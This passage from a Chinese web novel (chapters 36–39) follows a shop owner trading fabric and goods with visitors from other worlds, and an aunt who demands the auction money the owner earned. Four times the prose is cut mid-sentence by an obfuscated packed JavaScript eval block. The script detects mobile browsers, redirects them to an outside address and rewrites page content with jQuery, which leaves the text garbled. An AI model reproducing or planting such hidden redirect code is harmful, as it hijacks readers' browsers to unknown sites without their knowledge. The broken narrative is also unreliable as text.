申明月紧捏宣纸，暗暗发誓，努力赚钱，努力积蓄力量！ 发过誓，申明月提笔写字。 萧妧妧守在旁边，每写完一张纸，她便接过来扫描，手机操作编辑成邮件，等着最后一起发送。 看到附件里一堆照片，粗糙、简陋，萧妧妧完全不抱希望。 别人破译无不是引经据典，详细解释破译思路和文字演变，参考资料能写满一页纸，她们倒好，不写解题步骤，直接给答案。 文字博物馆不认是完全可以理解的，认了才是见鬼了。 申明月一口气写完，萧妧妧也差不多整理完毕，以防万一，她顺口问：“要是别人问我怎么破译的，我该如何解释？” 老学究爱刨根问底，看不到论文那多半会找来问询，回头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491460|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一个字说不出来，那就一点希望都没了。 申明月一看这么多字，一个个解释要说好久呢，道：“等会回去我把书找给你，那是我自己抄录的，字迹潦草，萧老板别嫌弃。” 萧妧妧哪敢嫌弃她，申明月这一手字不知道练了多少年，一笔一划皆有锋芒，大气又潇洒。 申明月还是第一回听到别人说她字好看，族中姐妹嫌弃她学得不是簪花小楷，一手字比男人的还要霸气，直言她桀骜难驯。 申明月傻笑一会，扭扭捏捏问：“萧老板，我可以多买些宣纸回去吗？” 笔墨费钱，她现在全靠变卖大宇朝的赔款筹集金银，实在不富裕。 既然萧老板这里纸笔便宜，她便动了心思，多买点回去自己用。 萧妧妧还指望她扩大势力带着自己赚大钱呢，很舍得投资。 “什么买不买的，我送你。” 货架上一共四包宣纸，萧妧妧全部送给她，不止宣纸，卫生纸也给她塞了好几包，大号购物袋装到溢出来为止。 申明月连连推拒，架不过萧妧妧热情，最后红着脸收下东西。 “先把东西送回去吧，我这还有不少呢，一趟拿不下。”萧妧妧见她傻站着，催她回去。 申明月哎了一声，快乐地蹦跶着离开，束起的发尾一甩一甩。 萧妧妧注意到，申明月穿得不伦不类，继而一拍脑门。 对了，她买的水晶丝缎到货了，正好可以一起拿回去。 萧妧妧好不容易在一堆快递里找到属于水晶丝缎的包裹，拆开包装，抖开布料。 “哇！”*2 惊叹声不止来自萧妧妧，还有折返回来的申明月。 萧妧妧不是第一次见水晶丝缎，但每次都要为它的美貌而心醉。 怎么能有布料好看成这样！ 申明月愣愣走过来，不出意外的满目惊艳，“像、真像，和阿言姐姐身上那件浮光锦披帛不相上下。” 甚至更胜一筹。 她情不自禁上手去摸，好像探进轻柔水波里，手指轻戳，布料下陷，指尖周围出现柔和光泽。 萧妧妧捧着布料走到阳光下，亮闪闪，唯一的缺点是显黑。 “萧老板，浮光锦我可以带走吗？” “当然，这也算在第一批货里。” 申明月振奋握拳：“那我要好多好多浮光锦。” 要不说浮光锦珍稀，这东西便是在深宫内院都难得一见，寻常世家大族更是没机会接触，大家只听说过浮光锦的美名。 至今，浮光锦已经是彰显身份地位与荣宠的符号。 意外得了一件浮光锦小衫的表姐别提多招摇了，恨不得日日穿着出门参加诗会。 萧妧妧多问一句，“既然这么稀有，你们那卖多少钱？” 申明月摇摇头，如实回答，“我不知道，商队没有买卖过，但我那里一直有这么个说法——浮光锦寸锦寸金。” 若是想买下整块布料，一寸锦可不止一寸金，要加价的。 申明月拿水晶丝缎比划了一寸长度，萧妧妧拿来尺子一量，啧了一声。 她那里的一寸是萧妧妧这里的5厘米，手上这块布料是买来当样品的，所以不大，幅宽半米，长半米，等于是申明月那里的十寸左右。 也就是说，在寸锦寸金的说法属实的前提下，她手上这匹十五元人民币买来的高级水晶丝缎，实际能换来十寸黄金。 大宇朝一寸长的黄金比小指头还要小一点，约有20克，十寸那便是200克……十二万六！ 36. 第 36 章 手里捧着十二万六，萧妧妧可不敢粗心，找来一块碎花布包起来，珍而重之地交给申明月。 申明月没比萧妧妧好到哪里去，擦擦手，强忍激动接过布包。 “我抱着的真的是浮光锦吗？好像做梦一样。” 申明月神情空白，后宫妃子公主都难得一见的好东西，竟然在小卖部轻易买到。 “要说它是浮光锦那是不可能的，但它和浮光锦相似度极高，”萧妧妧没见过浮光锦，语气显得有些虚，“不管是不是浮光锦，它很漂亮不是吗？会有人愿意为它的漂亮买单。” 申明月重重点头，颇为赞同，“萧老板说得对，我若说它是流光锦、水晶锦，谁能挑错？哪怕不是浮光锦，它也值得卖出浮光锦的价。” 小姑娘昂着脑袋，笑容肆意，王霸之气初显。 萧妧妧撑着脸颊看她，真好奇她登基为帝的那天该是怎样的风采。 申明月小心收起布包，揣进带来的箩筐里，再从怀里抽出薄册子。 “萧老板，这是我在族中看到的《古文释读》，只抄了上半册，足够解释那些字的出处。” 萧妧妧拿在手里翻了翻，发现根本看不懂，于是摆在书架上。 “如果真拿到赏金，你想怎么用？需不需要我帮你换成金条？” 萧妧妧很矛盾，理智上，她认为投稿不可能成功，情绪上，她有种能拿下悬赏金的强烈预感。 两个位面时间流速有差别，下次见到申明月说不准是什么时候，萧妧妧干脆问个清楚，好坏准备一起做。 “我不要，能赚这笔钱多亏了萧老板的渠道，如果真能拿到赏金，我和萧老板一人一半，我的那一半算进货款里，剩下的等我下次来补上，萧老板觉得如何？” 萧妧妧一愣，这不等于是全给她了？ 不管能不能拿到，申明月这会表达出来的态度让她很受用，也看得出来，小姑娘是真有信心拿到赏金。 “你真不要？平分的话，你至少能拿到黄金三十五两左右，不少了呢。”萧妧妧戳几下计算器，给出一个预估价，再次向她确认。 申明月坚定摇头。 “既然你坚持，那就听你的，我来给你列清单。” 为了回报申明月的“懂事”，萧妧妧多给清单加了几样古代位面值钱的好东西，万两黄金卖不到，千两黄金不在话下。 申明月看到清单上的货品和数量，又惊喜又感动还有点惶恐。 “谢谢萧老板，第一次做生意本钱不够，还要你给我折价，等我以后赚了钱，萧老板你就按正常价算吧，总不能一直让萧老板吃亏。” 两百三十多两黄金换来这么多值钱东西，她心里不踏实。 不管萧妧妧如何说，申明月打定主意，等第一批货卖出去，她要把该给的货款补足。 萧妧妧心虚，真按正常价算，几两碎银足够打发这张清单了。 “好啊，那我等着你赚大钱。”白送来的金子谁舍得拒绝啊，萧妧妧笑眯眯回她。 申明月抱着一箩筐的东西蹦蹦跳跳回家。 “哎呦，你怎么撞人啊。” “对不起对不起，姐姐你没受伤吧？” “哎呀！你不许碰本宫！” 萧妧妧头一次见小卖部热闹得鸡飞狗跳，听到里面叽叽喳喳，马上放下东西跑进去。 “萧老板，我好像……对不起，我不是故意的。” 申明月抱着箩筐站在旁边，手足无措，紧张地望着萧妧妧。 萧妧妧拍拍申明月肩膀，安抚：“没事，交给我处理，你快回去吧。” “萧老板，是我惹的麻烦，我要留下来。” 女子神情倨傲，穿戴华贵，还自称本宫，看起来不好惹，申明月不能让萧老板替她担风险。 萧妧妧没说什么，示意申明月去旁边坐着，同时打开客户列表瞅一眼，上面毫无变化。 她偏移目光看向身后假门，因新客人刚进来，结界显示的画面变成了女子来时的环境。 秀丽、奢华，很像她参观过的古代寝宫。 收回目光落在面前少女身上，看她撅着嘴，眉头微蹙，整理完衣裳挑剔地打量小卖部，再挑剔站在她面前的萧妧妧。 萧妧妧礼貌微笑：“我是不倒闭小卖部的老板，萧妧妧，可以叫我萧老板。” “你这里是什么地方？东西奇奇怪怪，人……”她撇一眼一身粗布衣裳的申明月，以及“衣不蔽体”的萧妧妧，小声嘀咕：“……也奇奇怪怪。” 申明月放下箩筐，迈步挡在萧妧妧身前，“这里是不倒闭小卖部，买卖东西的地方，你想要什么萧老板都能满足你。” 萧妧妧神情微窘，拉了拉申明月的袖子，大话可不能随便说，她弄不来的东西多着呢。 女子多看一眼萧妧妧，目光充满质疑，“哦？想要什么都能满足本宫？” 萧妧妧不好拆台申明月，扯起嘴角，“能进小卖部的人必定是有难处、有欲望，说说看，看见小卖部之前，你在想什么。” 女子大惊失色，“你怎么知道本宫想要……” 最后几个字差点蹦出来，好在她反应快，捂住鲜艳红唇才没暴露自己心事。 申明月留心她的一言一行，交流片刻，对面前女子的评价很快改变——不太聪明的样子。 她叉着腰，挺直脊背，淡定接话，“要什么赶紧说，萧老板很忙的，如果你好奇小卖部，喏，有宣传单，看完你便明白了。” 申明月把萧妧妧画给她的宣传单让给女子，“我也是小卖部的客人，不会骗你的。” “你看着比我还像小卖部的老板，”萧妧妧刚刚还神情严肃正经，这会泛起淡淡笑意，好整以暇的调侃申明月。 申明月脸颊一红，略显羞窘，“我想起我进小卖部时也是这般。” 一惊一乍，问题贼多，甚至有点烦人。 女子没留意两人低声嘀咕，看着花里胡哨的宣传单，黑白分明的眼珠子骨碌碌转。 萧妧妧看一眼女子，摸摸申明月后的脑勺，“正常，第一次进店的客人难免有戒心，等她看完单子就好说了。快回去吧，这里没什么大事，你离开太久不好。” 申明月见外面已经天黑，伺候自己的小丫鬟即将返回，又见门口的女子安安静静看宣传单，遂放下心，挥挥手告别，抱起东西离开。 等女子回神，面前只有萧妧妧一人，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491461|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不满地张望，“唉，她怎么走了，她还没给本宫赔罪呢！” 萧妧妧没理会她，岔开话题问：“这里没别人，说说你想要什么吧。” 女子转过头，圆溜溜杏眸上下扫视她，随即鼻子一皱，娇俏语气中藏着浓浓的警惕，“哼，本宫才不信你能帮忙呢。” 小卖部有古怪，什么满足欲望解决难题，肯定是骗子！ 她瞪了萧妧妧一眼，提起绯红的繁复裙摆，甩出漂亮弧度，消失在结界前。 萧妧妧：……算了，不跟小孩子计较。 看她年纪轻轻自称本宫，又住在宫殿里，多半是哪本书里的公主吧。 公主嘛，难搞一点很正常。 她不由拿申明月做对比，同样是公主，两人差别实在太大了。 不知姓名出处的新顾客离开，小卖部恢复安静，萧妧妧回到后院继续收拾整理，做收尾工作。 直到天色黑透，萧妧妧伸个懒腰，关门闭店，回家休息。 第二天开门营业后，萧妧妧总算腾出时间算账，算小卖部开业以来的营业额。 收银系统一拉明细，开店半个月的收入清晰列出，扫到最下方数字，萧妧妧五味杂陈。 营业额共计6628.3元，撇除人工、水电，纯纯倒贴，好在铺子是自家的，无需负担房租，否则逃不掉倒闭的结局。 要不是担心邻居起疑，萧妧妧甚至想过关门，只针对异世界顾客售卖货品。 惆怅片刻，萧妧妧又去算系统空间里存了多少好货，攒下多少金子，心情慢慢好转。 果然，钱才是最能抚慰人心的良药。 萧妧妧打起精神，穿上围裙，拖地擦灰补充货架。 忙着忙着，天色灰暗，萧妧妧感叹时间过得太快，转头发现原来外面乌云密布，要下大雨了。 她跑去院子里推史努比进屋檐下，披上雨衣，门口发财树挪进屋，门里门外铺上防滑地垫。 天上劈下第一道雷时，萧妧妧刚好把小卖部里里外外打扫过一遍。 她叉着腰站在门口，看雨水哗啦啦，看行人狼狈地奔跑。 才看出一点意趣，手机嗡嗡震动。 萧妧妧先是看到张芸发来一连串的语音，没等她点开听一遍，萧大明打来电话。 “妧妧，你现在忙不忙啊？” 萧妧妧看了看空荡荡的店铺，“不忙，需要我去接住客吗？” 萧大明哦了一声，“不是住客，是你婶婶，你婶婶找你，说要和你商量点事。” 萧妧妧满脑子的困惑，王翠菊找她商量事，直接来小卖部不是更方便，何必通过萧大明传话。 萧妧妧：“婶婶在我们家？” 萧大明：“在呢，问她什么事不肯说，非要等你回来商量，我怕影响你做生意。” 萧妧妧觉得不对劲，挂断电话去听张芸发来的语音。 “你婶婶来了，说是有正经事找你，我看是放屁，不知道憋着什么坏主意呢。” “这人真有意思，有事没事跑来膈应人。” “我跟你说，你婶婶万一提小卖部的事，别理她别吱声，我来说。” 萧妧妧拧眉，婶婶还没死心啊？ 37. 第 37 章 萧妧妧回到家时，膝盖以下几乎湿透，泡了水的洞洞鞋格叽格叽响。 王翠菊听到动静，拉开门探出头，热情得像换了个人。 “妧妧回来啦，身上都湿了，快进来擦擦，换身衣服，”王翠菊挤出一张皱巴笑脸，硬拽着萧妧妧胳膊进屋。 王翠菊力气不小，捏得萧妧妧胳膊泛红，好几下才挣脱开。 “婶婶怎么没去店里找我？什么事啊急吼吼催我回来。”萧妧妧扯扯嘴角，皮笑肉不笑。 张芸递来纸巾帮忙擦水珠，又去调高空调温度，侧过身时给萧妧妧拼命使眼色。 萧妧妧假装没看到，琢磨她到底想怎么唱这出戏。 说好要等萧妧妧回来商量事，她回来了，王翠菊却是绕过她和萧大明说话。 “二哥，今天来还是想问问铺子的事，我知道铺子在妧妧名下，所以把妧妧叫来一起商量商量。” 萧大明露出果然如此的微妙神情，抬手抱起玻璃杯，闷头喝茶。 客厅因这一句话落入沉默，大家各忙各的，不吱声。 张芸拿着毛巾回来，催促萧妧妧擦水珠，对王翠菊不理不睬。 王翠菊不怕受冷落，她吃过的闭门羹不在少数。 她把每个人的表情都看在眼里，眉稍一挑，推心置腹的语气开口。 “正好妧妧也没心思开店，我好几回看她大白天往外跑，一跑大半天，想进去买东西都找不到人。 晚上更是不得了，7点8点关门，比上班的还轻松哦。 我问了老刘，生意不要太差，才开业看起来跟要倒闭一样。 二哥你说说，是不是女孩子她心不定，整天想着出去玩，你说这样怎么做生意。 我看还不如让我们家昌平接手，昌平从小就坐得住，做生意肯定是要比女孩子强的。 他以前是没机会，二哥你信他，他可是老萧家唯一的男丁，会有大出息的。” 萧妧妧挺佩服三婶的，总能轻而易举挑起她的火气。 张芸听到女儿嗤笑，隐晦地给萧妧妧使眼色，让她别说话，萧妧妧却不想忍。 “昌平哥确实坐得住，心也定，但是定的地方不对啊，小卖部可没有赌桌定他的心和屁股。” 张芸气得瞪了女儿好几眼，偷摸在茶几下面踩萧妧妧的脚，洞洞鞋格叽一声突兀又尖锐的响起。 萧大明直挠头，看看弟媳看看闺女，又看看板着脸的媳妇，坐立不安，大口喝茶。 王翠菊扑了厚厚粉底的脸几度变幻神情，“妧妧书读得多确实不一样，说话夹枪带棒的。” 余光狠狠剐了一眼萧妧妧，王翠菊重新瞄准目标，回到正题上。 “二哥你说说看是不是这个道理，昌平接下小卖部，有个事业绑着他，以后不就没那些乱七八糟的事了吗？ 结果你看看，二嫂不理解我的苦心，妧妧不能体谅我，以为我在跟她抢东西，我太冤了。 何况188号本来就是老头子留给昌平的，我们拿回去也是应当的。” 王翠菊抹了抹不存在的泪，一副心力交瘁、爱子心切的老母亲模样。 每次拿昌平说事，萧大明都会产生动摇，最后不得不给点好处息事宁人，王翠菊吃准了萧大明会心软。 萧妧妧不知道类似的剧情在家里上演了多少回，只听这一回，她差点气笑。 只想着要回院子，绝口不提钱的事，王翠菊真是好意思。 “以前不说了，妧妧小，咱们大人的事不告诉她，她误解很正常，现在妧妧毕业回家开店，已经是大人，能当家做主了，所以我做婶婶的要解释清楚，免得她听了谁的话以为我多贪心。” 张芸嘁了一声，翻出一个白眼。 “翠菊你是在点我吧？我直白告诉你，想要小卖部，不可能！ 你就算拿钱买我也不卖你，还让回去，你白日做梦发癫吧你！ 萧大明到处借钱托关系，前前后后跑了多少趟才把院子买回来，你别说不知道。 萧昌平就是让你给养歪的，小小年纪不学好，跟着别人赌博，没钱还跑去借钱。 说到借钱，萧昌平可真是好样的，大过年骗了我们家妧妧的压岁钱去赌，撒谎说自己让人绑架了，找他二叔大伯一家要五百万赎金。 他可真敢开口，这样的人，让高利贷乱刀砍死都不过分。” 张芸生起气来说话不讲分寸，怎么恶毒怎么伤人怎么来。 王翠菊最怕高利贷找上门抓人，闹得最凶的那几年，她每晚的噩梦都是这些。 王翠菊有点破防了，腾一下站起，怒目圆瞪。 “二哥你看你媳妇，她自己生不出蛋诅咒别人家孩子，昌平可是老萧家的大孙子，咱爸去世的时候最放不下昌平……” 萧大明深吸气，提高嗓门：“行了行了，有事说事，都少吵几句吧。” 玻璃茶杯咚一下搁在桌上，琥珀色的茶水跃过滤网飞溅桌面。 王翠菊像掐住了嗓子，面色忽青忽白。 大伯一家已经对他们不闻不问，只有萧大明还愿意出钱，王翠菊要仰仗萧大明，便只能克制脾气，软磨硬泡。 张芸又翻了个白眼，对萧妧妧说：“去换衣服，这里没你事。” 王翠菊脱口而出，“不行，妧妧不能走。” 萧大明是真冒出火气了。 他以为王翠菊这次找妧妧回来是什么正经事，比如相亲，比如问问电影投资。 结果倒好，非要在孩子面前闹，闹得还是那些陈芝麻烂谷子的破事。 “有事你跟我们说，扯孩子做什么，”萧大明不满地瞪王翠菊一眼，偏头说：“午饭来不及做了，你点几个菜回来吧，别管我们，和昭昭先吃。” 萧妧妧也不想留下听王翠菊贬低自己，抬高萧昌平，正要起身，王翠菊忽然歪过来按住她。 “这事和妧妧有关，她走了我和谁说去？” 萧妧妧眨眨眼，“和我有关？” 她重新坐回沙发，翘起二郎腿，等她说下文。 萧大明和张芸对视一眼交换眼神，两人都摇摇头，想不到是什么事。 王翠菊调整表情，咬牙切齿的开口：“要不是上回路过，我都不知道妧妧送了个玉扳指去拍卖行，昨天我去打听了，卖出去十五万，十五万！” 王翠菊酸溜溜的语气遮掩不住，看萧妧妧的眼睛几乎冒红光。 萧妧妧疯狂转动脑筋，回想整个过程能从哪个环节传出消息。 但漏洞太多，她一时没办法确认。 “我想好了，小卖部可以不给我，但是总不能让我们昌平去死吧？ 正好妧妧赚了十五万，只要她拿出十五万来就好。 我想过，妧妧一个女孩子，花不了几个钱，十五万留在她手里没用，我们昌平不一样啊，正是需要用钱的年纪。” 萧妧妧恍然，王翠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491462|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菊拿小卖部说事是虚晃一枪，最终目标是她送拍玉扳指赚来的十五万。 槽多无口。 萧妧妧一时间不知道该给出什么样的表情，表达自己想骂人的心情。 张芸没去关注玉扳指的事，直接开口骂：“没见过你这么没脸没皮的，老萧的退休金你们要花，现在还想让妧妧出钱养着你家那个废物？” 萧大明算是彻底听明白了，王翠菊根本是冲着钱来的。 闻言，萧大明沉下脸，斥道：“不像话！” 他自己省吃俭用，花自己的退休金为自己的亲弟弟、亲侄子填窟窿，是他出于血缘与亲情做的决定，这份决定和萧妧妧无关，更不该把她牵扯进来。 “王翠菊，你找我要钱我不说什么，我知道你是把钱花在老三身上，昌平身上，我愿意吃这个亏。 但是我今天警告你，你敢把主意打在妧妧身上，以后你别想从我手上拿到一分钱，不仅拿不到，你把以前我给出去的钱全还回来，你最好想想清楚。” 萧大明难得疾言厉色。 王翠菊这人确实一言难尽，可想到她这副模样说到底是为了他的弟弟、侄子，萧大明不好说太难听的话，一直忍让，这一让，不止媳妇不理解，连王翠菊都当他是好欺负。 现在好了，当着他的面要吸血他闺女，萧大明脾气再好再体谅她的苦衷也不想轻轻放过。 王翠菊不知道萧大明为什么突然生气，半张着嘴巴说不出话，好一会才找到声音，语气急促的争辩。 “二哥，不是……妧妧她有钱，十五万呢，我都听那个什么经理说了，玉扳指很值钱的。 那我不要十五万，给十万成不成？ 对了，说不准那个玉扳指就是从老房子里面扒出来的，那这个钱肯定有我们家昌平一份……” 萧大明气得脑门青筋暴起，砰一下，巴掌砸在桌上。 “她有钱没钱跟你没关系，别说十五万，就算有一百五十万一亿五千万也没可能。” 张芸见萧大明气势汹汹，腰杆子挺得直直的，“赶紧走，真会挑时间上门，让不让人吃饭了。” 张芸动作利落，拽起王翠菊甩出门，大门咣一下摔上。 萧妧妧左看看右看看，挠挠头。 根本用不着她，爸妈的战斗力比她想象的强不少。 只有一家三口在，张芸双手环胸，抱怨道：“你看你，忍忍忍，体谅体谅体谅，好了吧，胃口养大了吧？” 萧妧妧附和，“升米恩斗米仇，回头大哥还不上钱再怨上咱们怎么办？” 张芸捂着胸口哎呦哎呦叫唤，“我和你爸在警局的时候，看到好多赌鬼还不上钱报复社会的事，真吓人，昌平可别变成那样。” 萧大明发过怒后，怅惘叹气。 他愿意填窟窿吊着老三家，除了心疼老三辛苦，怕的就是萧昌平走上极端。 现在看，他这么做不知道是对是错。 萧妧妧配合张芸一唱一和，看老爸神情恹恹，像个愁闷的小老头，自己跟着提不起劲。 她缩了缩脖子，悄悄回房间，给许年华拨通电话。 有些情况她得打听清楚，送拍玉扳指的事有没有可能从佳博那里流传出去。 玉扳指是小事，后续拍卖价值五百万的匣子才是重头戏，万一佳博做不到完全保密，谁知道有什么情况找上门。 财不露白的道理，萧妧妧算是深有体会了。 38. 第 38 章 许年华很快接通电话，没等她开口，先一步殷勤询问。 萧妧妧打断他，也不拐弯抹角，开门见山问出心中疑惑。 “唔……实不相瞒，这事错在我，我愁了好几天不知道怎么跟您说呢……” 电话那头顿了顿，似乎难以启齿，措辞片刻，许年华用充满歉意的语气，说出那天在小卖部门口让王翠菊堵住的事。 萧妧妧想用排除法找到漏洞，以后更加注意些，哪知道反而是她认为靠谱的拍卖行方走露了消息，不由愣住。 “您婶婶肯定是听说了什么，她冲上来一顿质问，我走哪她堵哪。” “小萧老师，是不是给您惹麻烦了？您看我能为您做什么，我肯定配合您解决。” “这件事严格说起来是我失误，我想当然了，以为是您母亲呢……不过您放心，我们公司的流程是绝对没问题的，拍卖双方的信息绝对不会泄露一星半点。” 确定是许年华个人问题，萧妧妧不禁松了口气，不是拍卖行方出事就好，金丝楠木匣子可以继续参加拍卖。 “小萧老师您那边没事吧？这样，醉月轩我请客，当是我赔罪，哦，不止是醉月轩……” 电话那边的声音再次停顿了片刻，许年华似乎在移动，喘了好一会才接上话。 “喂，小萧老师您还在听吧？那我继续说啊，赔罪是肯定的，醉月轩当是咱们庆祝玉扳指成功拍出去。 听说您开了家新店，我记得是艺术品集合店？您看这样成不成，在艺术收藏圈子我也混了不少年，还算认识点老藏家，回头咱们碰面聊，要是合适的话……” 许年华正心虚忐忑，叭叭说个不停，萧妧妧插不上话，等她能插话的时候，就听到许年华自己先给出赔罪方案，虽说得含含糊糊，但意思很明显了。 令人心动的赔罪方式，她真不舍得拒绝，萧妧妧沉吟片刻，按捺住心底的雀跃，一口应下，同意他见面后细聊。 挂断电话，萧妧妧暗暗思忖，许年华确实心思够细，她随口提过一次新店的消息，竟然记下了。 那么问题来了，三婶到底从哪听来她送拍玉扳指的消息？ 她能找上许年华，必定是笃定了消息真实性的，不会是方婶婶那里吧？ 萧妧妧只知道她们很喜欢一起跳广场舞。 午后小憩时间，萧妧妧却睡不着，躺在沙发上翻来覆去琢磨，琢磨着琢磨着，她想起一件事。 艺术品集合店开得莫名其妙，商品来源不可说，客人可能不会觉得如何，难保街坊邻里不会说三道四。 思来想去，萧妧妧谨慎起见决定打个补丁，出门找方爷爷。 午休时间又正逢大雨，本就冷清的玉仁斋见不到几个客人，倒是檐下躲雨的游客三三两两。 萧妧妧进店后便看到方爷爷在喝茶听雨，方婶婶忙着打扫货架，整理登记摆件。 “呦，妧妧来啦，快坐，一起喝杯茶？”方玉仁心情不错，翘着二郎腿晃悠。 萧妧妧注意到，她进店后方婶婶打扫的速度放缓，半侧着脑袋，竖起耳朵。 “方爷爷，您推荐的拍卖行真不错，玉扳指卖出去15万呢。”玉扳指的消息已经漏出去，萧妧妧便想利用起来，她像偷了腥的猫，乐滋滋来炫耀，顺道推去自己排队买的奥利奥蛋糕奶茶，“喏，请方爷爷喝奶茶。” 方玉仁眼睛放光，偷瞄一眼儿媳，见她没吱声，悄摸收下奶茶，嘬一大口解馋。 萧妧妧看他露出享受的神情，眯了眯眼，她和方爷爷关系好的最大原因就是两人口味一致，方爷爷不会扫兴地劝她少喝奶茶。 趁着方婶婶在，萧妧妧直截了当说明来意，“方爷爷，听说您这间铺子要转出去，找到人接手了吗？” 方家要搬出国的消息早在巷子里传开，萧妧妧属于消息不灵通，慢半拍知道的那波，这会来打听，方家差不多做好了准备。 方爷爷乐呵呵开口：“找到了，人家算了开业的吉利日子，在十月初，我们要赶在8月中旬前搬走。” 萧妧妧环顾店铺，“那……方爷爷，您店里的物件也让出去了？” 方玉仁听她话里有点别的意思，扭头看她，“那倒是还没有，你方叔正在联系人呢，看看同行有没有要收的，剩下这批转过去，我们可算轻松了。” 萧妧妧多看一眼多宝架，各种瓷瓶、玉瓶、石雕摆件，总数约有二十多件。 方玉仁调侃：“怎么，妧妧要给我介绍人啊？” 萧妧妧咧了咧嘴，提高嗓门：“嘿嘿，方爷爷，玉扳指是我在古玩市场捡漏买回来的，这不是卖出高价了吗，我现在对这些艺术品老物件很有兴趣，想在小卖部后面开一间艺术品店。” 方玉仁猛吸一口奶茶，“你要开新店，还是卖艺术品？认真的吗？” 方婶婶直接偷懒了，躲在架子后面探出半颗脑袋。 萧妧妧重重点头，“我当然是认真的。只开一个小卖部生意有点惨淡，正好玉扳指卖出去15万，我想着拿这15万进货再开一个店，多少能赚点生活费吧。” 方玉仁看了看自己店里的东西，多好算不上，但确实是艺术品，正好他也着急清仓。 “你想要，我肯定乐意转给你，15万用不着，你看到的这批货，8万差不多能搞定，不过我得问清楚了，你真要开店啊？ 现在生意不好做，你有15万存着多好，再不济去买点金子囤着，买辆小车，不比打水漂好？你爸妈知道吗？” 方玉仁撑起身子，也不喝奶茶了，正儿八经的和萧妧妧讨论做生意这件事，颠来倒去劝她别头脑发热做决定。 萧妧妧大声道：“我想给我爸妈惊喜呢，还没说。哎呀，年轻人嘛，总想闯一闯试一试，再说了，这十五万是我能接受的底线，亏损也不怕，反正白捡来的。” “方爷爷，我是认真的，昨天已经有几个朋友上门，给我送来撑场面的好东西呢。” 方玉仁见她说话有理有据，是打定主意要开店，便不再劝，“老二媳妇，你让老二回来吧，把东西整理整理送到妧妧的小卖部去。” 方婶婶应了一声，赶紧打电话。 清单是现成的，萧妧妧接过装模作样地扫一眼，再看一眼总价。 “算是清仓甩卖吧，别人卖来多少我们给你就是多少，对了，这里好多是别人寄卖的，我原先想着找到下家再通知客户，你要是没问题，我把你联系方式给他们，寄卖的生意跟着转到你手上。” 萧妧妧当然没意见，正好她缺东西填充店面，八万花的不算亏。 她爽快地转账，只等第二天东西送到小卖部。 临走前，她苦恼地叹气，“也不知道三婶从哪听说我卖玉扳指的消息，今天闹着要我拿十五万给堂哥还赌债 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人前后脚进店，齐齐愣住，后门附近的地板上一片狼藉，长桌上的东西散落一地。 萧妧妧想到什么，浑不在意的说：“外面风大，刮掉了东西。” 她不动声色地领黎行聿进店铺，递上一包抽纸，又找来一块干净毛巾由他选择。 “黎先生是来买东西的？” 车子正好停在小卖部门口，不像是经过。 黎行聿两个都没选，开口回应她，“嗯，棒棒糖，荔枝味。” 萧妧妧心里愧疚，抱出一整盒荔枝味棒棒糖由他挑选。 她爱吃荔枝味，上回送棒棒糖前把荔枝味的全挑出来了，结果倒巧，小孩子和她口味一致。 刚犯了错，萧妧妧本想不收棒棒糖的钱，黎行聿淡淡的回一句“不必”，言简意赅地拒绝了她，自顾自付款。 萧妧妧看一眼他面无表情的脸，不敢再与他争辩。 其实黎行聿脾气挺好的，弄脏他衣服都没看他生气，就是那张脸让人胆怯，放肆不起来，尤其她有错在先的情况下。 小插曲很快过去，黎行聿带着他的棒棒糖离开，萧妧妧飞快锁门，叉着腰走到后门结界附近，深吸气。 谁啊，光天化日之下上门砸场子，没礼貌！ 39. 第 39 章 萧妧妧叉着腰，气呼呼瞪向一片狼藉的后门，认命地收拾残局。 不会是申明月和苏娇娇做的，龙傲天忙着呢，他的可能性不大。 萧妧妧思来想去，新来的客人最有嫌疑。 说到新来的客人，萧妧妧只能想起那个一脸倨傲的漂亮公主，然而无凭无据，她不好冤枉人。 不过今天这出倒是提醒了她，不是所有客人都是苏娇娇那样的。 她固然担得起损失，但平白来这么一出，很影响心情。 萧妧妧戳了戳系统，“统，像今天的情况，有没有办法预防？” 系统的机械音滴滴两下，而后光圈亮起，引导她摸到设置功能。 【新手指引有防护功能详细介绍，您可以参考】 萧妧妧瞬间不敢吱声，缩着脖子打开防护功能。 